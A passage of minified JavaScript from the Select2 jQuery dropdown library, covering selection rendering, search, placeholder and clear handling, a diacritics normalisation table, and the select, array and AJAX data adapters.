n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):h(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,i,r){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return i.Extend(o,i.Observable),o.prototype.render=function(){var e=n('<span class="select2-selection" role="combobox" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=i.GetData(this.$element[0],"old-tabindex")?this._tabindex=i.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&i.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o.prototype.isEnabled=function(){return!this.isDisabled()},o.prototype.isDisabled=function(){return this.options.get("disabled")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e("<span></span>")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(r,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var i=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){i.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!i.isDisabled()){var t=r(this).parent(),n=l.GetData(t[0],"data");i.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return r('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">×</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var i=e[n],r=this.selectionContainer(),o=this.display(i,r);r.append(o);var s=i.title||i.text;s&&r.attr("title",s),l.StoreData(r[0],"data",i),t.push(r)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var i=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(i)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(r,i,a){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){i._handleClear(e)}),t.on("keypress",function(e){i._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.isDisabled()){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var i=a.GetData(n[0],"data"),r=this.$element.val();this.$element.val(this.placeholder.id);var o={data:i};if(this.trigger("clear",o),o.prevented)this.$element.val(r);else{for(var s=0;s<i.length;s++)if(o={data:i[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(r);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=i.DELETE&&t.which!=i.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),i=r('<span class="select2-selection__clear" title="'+n()+'">×</span>');a.StoreData(i[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(i)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(i,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=i('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),t.on("open",function(){i.$search.attr("aria-controls",r),i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===i.$search.val()){var t=i.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");i.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){i.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?i.$selection.off("input.search input.searchcheck"):i.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)i.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&i.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var i=this,r=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,r)){t=t||{};var n=s.Event("select2:"+e,{params:t});i.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function i(e){this.dict=e||{}}return i.prototype.all=function(){return this.dict},i.prototype.get=function(e){return this.dict[e]},i.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},i._cache={},i.loadPath=function(e){if(!(e in i._cache)){var t=n(e);i._cache[e]=t}return new i(i._cache[e])},i}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(i){function n(e,t){n.__super__.constructor.call(this)}return i.Extend(n,i.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=i.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+i.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],i=this;this.$element.find(":selected").each(function(){var e=l(this),t=i.item(e);n.push(t)}),e(n)},n.prototype.select=function(r){var o=this;if(r.selected=!0,l(r.element).is("option"))return r.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(r=[r]).push.apply(r,e);for(var n=0;n<r.length;n++){var i=r[n].id;-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")});else{var e=r.id;this.$element.val(e),this.$element.trigger("input").trigger("change")}},n.prototype.unselect=function(r){var o=this;if(this.$element.prop("multiple")){if(r.selected=!1,l(r.element).is("option"))return r.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n].id;i!==r.id&&-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(i,e){var r=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(i,t);null!==n&&r.push(n)}}),e({results:r})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),i=this._normalizeItem(e);return i.element=t,a.StoreData(t,"data",i),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),i=[],r=0;r<n.length;r++){var o=l(n[r]),s=this.item(o);i.push(s)}t.children=i}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function i(e,t){this._dataToConvert=t.get("data")||[],i.__super__.constructor.call(this,e,t)}return f.Extend(i,e),i.prototype.bind=function(e,t){i.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},i.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),i.__super__.select.call(this,n)},i.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),i=n.map(function(){return t.item(g(this)).id}).get(),r=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,i)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}r.push(p)}}return r},i}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var i=o.ajax(e);return i.then(t),i.fail(n),i}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,i){var r=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=r.processResults(e,n);r.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),i(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||r.trigger("results:message",{message:"errorLoading"})});r._request=e}"function"==typeof 